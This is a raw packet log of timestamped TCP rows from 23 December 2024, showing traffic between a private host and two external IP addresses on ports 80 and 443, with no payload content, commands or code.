Dec 23, 2024 17:16:36.376785994 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.376843929 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.377562046 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.377579927 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.377625942 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.377639055 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.378262043 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.378320932 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.378436089 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.378951073 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.379057884 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.379138947 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.525688887 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.525748968 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.525948048 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.525960922 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.526001930 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.526204109 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.526273012 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.527033091 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.527131081 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.527373075 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.527415991 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.527776003 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.527820110 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.527862072 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.527906895 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.528583050 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.528660059 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.528831005 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.528935909 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.529582977 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.529882908 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.529949903 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.530455112 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.530524969 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.530577898 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.531265020 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.531311035 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.531362057 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.532258034 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.532289982 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.532309055 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.532313108 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.532783031 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.533049107 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.533092976 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.533126116 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.533162117 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.533946991 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.533989906 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.534049988 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.534094095 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.534918070 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.534959078 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.535022020 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.535063028 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.535787106 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.535829067 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.535878897 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.535916090 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.536616087 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.536796093 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.536989927 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.537620068 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.537659883 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.537734032 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.537806988 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.538552999 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.538566113 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.538610935 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.539292097 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.539386034 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.539431095 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.540218115 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.540364027 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.540396929 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.540414095 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.541141033 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.541182041 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.541469097 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.541512012 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.542165041 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.542180061 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.542215109 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.543123007 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.543176889 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.543231010 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.543272018 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.544209003 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.544316053 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.544356108 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.544951916 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.545001984 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.545015097 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.545051098 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.546150923 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.546205997 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.546538115 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.546575069 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.546884060 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.546926022 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.547064066 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.547147036 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.547738075 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.547791004 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.547931910 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.548026085 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.548537016 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.548583984 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.548607111 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.548707962 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.549510002 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.549523115 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.549552917 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.549571037 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.550055981 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.550098896 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.550194979 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.550260067 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.551001072 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.551100016 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.551152945 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.551256895 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.551821947 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.552125931 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.552169085 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.552278042 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.552789927 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.552802086 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.552851915 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.553510904 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.553565979 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.553704977 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.553749084 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.554431915 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.554488897 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.554514885 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.554543018 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.555362940 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.555412054 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.555514097 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.556190014 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.556236029 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.556268930 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.557030916 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.557142973 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.557185888 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.557997942 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.558125973 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.558166981 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.558221102 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.558840036 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.558859110 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.558878899 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.558897972 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.559705019 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.559758902 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.559796095 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.559935093 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.560785055 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.560797930 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.560965061 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.561602116 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.561614990 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.561651945 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.562392950 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.562439919 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.562530994 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.562577963 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.563344002 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.563363075 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.563383102 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.563407898 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.564143896 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.564183950 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.564244032 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.564280987 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.565098047 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.565139055 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.565181971 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.565216064 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.565908909 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.565948009 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.566026926 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.566138983 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.567939043 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.567950964 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.567964077 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.567975998 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.568000078 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.568054914 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.568598032 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.568651915 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.568653107 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.568829060 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.569652081 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.569705009 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.569824934 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.569861889 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.570498943 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.570548058 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.570688009 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.570730925 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.571297884 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.571341038 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.571376085 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.571547985 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.572325945 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.572370052 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.615834951 CET	443	49726	135.181.65.216	192.168.2.9
Dec 23, 2024 17:16:36.615958929 CET	49726	443	192.168.2.9	135.181.65.216
Dec 23, 2024 17:16:36.616137028 CET	49726	443	192.168.2.9	135.181.65.216
Dec 23, 2024 17:16:36.616158009 CET	443	49726	135.181.65.216	192.168.2.9
Dec 23, 2024 17:16:36.616867065 CET	49728	443	192.168.2.9	135.181.65.216
Dec 23, 2024 17:16:36.616939068 CET	443	49728	135.181.65.216	192.168.2.9
Dec 23, 2024 17:16:36.617031097 CET	49728	443	192.168.2.9	135.181.65.216
Dec 23, 2024 17:16:36.617381096 CET	49728	443	192.168.2.9	135.181.65.216
Dec 23, 2024 17:16:36.617403984 CET	443	49728	135.181.65.216	192.168.2.9
Dec 23, 2024 17:16:36.718097925 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.718178988 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.718192101 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.718204975 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.718246937 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.718347073 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.718592882 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.719165087 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.719208956 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.719274044 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.719512939 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.719923973 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.719974995 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.720031023 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.720076084 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.720820904 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.720875025 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.721107006 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.721524000 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.721576929 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.721604109 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.721651077 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.722333908 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.722390890 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.722433090 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.722476959 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.723229885 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.723268986 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.723450899 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.724199057 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.724247932 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.724252939 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.724298000 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.724993944 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.725157976 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.725234985 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.725908041 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.725971937 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.725986958 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.726136923 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.726804972 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.726922989 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.726932049 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.727066994 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.727686882 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.727755070 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.727787971 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.727855921 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.728574038 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.728609085 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.728620052 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.728669882 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.729938984 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.729989052 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.730031013 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.730140924 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.730705023 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.730735064 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.730802059 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.731396914 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.731445074 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.731481075 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.731532097 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.732187986 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.732239962 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.732268095 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.732366085 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.733009100 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.733048916 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.733185053 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.733227015 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.733989954 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.734019041 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.734044075 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.734059095 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.734859943 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.734905958 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.735060930 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.735111952 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.736234903 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.736265898 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.736330986 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.736799955 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.736880064 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.736910105 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.736952066 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.737744093 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.737792015 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.737821102 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.737853050 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.738511086 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.738697052 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.738759041 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.739243984 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.739308119 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.739377975 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.739432096 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.740119934 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.740190983 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.740338087 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.740391016 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.741065979 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.741123915 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.741270065 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.741311073 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.742043972 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.742108107 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.742194891 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.742306948 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.742928028 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.742983103 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.743027925 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.743159056 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.743707895 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.743781090 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.743818998 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.743925095 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.744533062 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.744599104 CET	49727	80	192.168.2.9	185.215.113.16
Dec 23, 2024 17:16:36.744628906 CET	80	49727	185.215.113.16	192.168.2.9
Dec 23, 2024 17:16:36.745127916 CET	49727	80	192.168.2.9	185.215.113.16
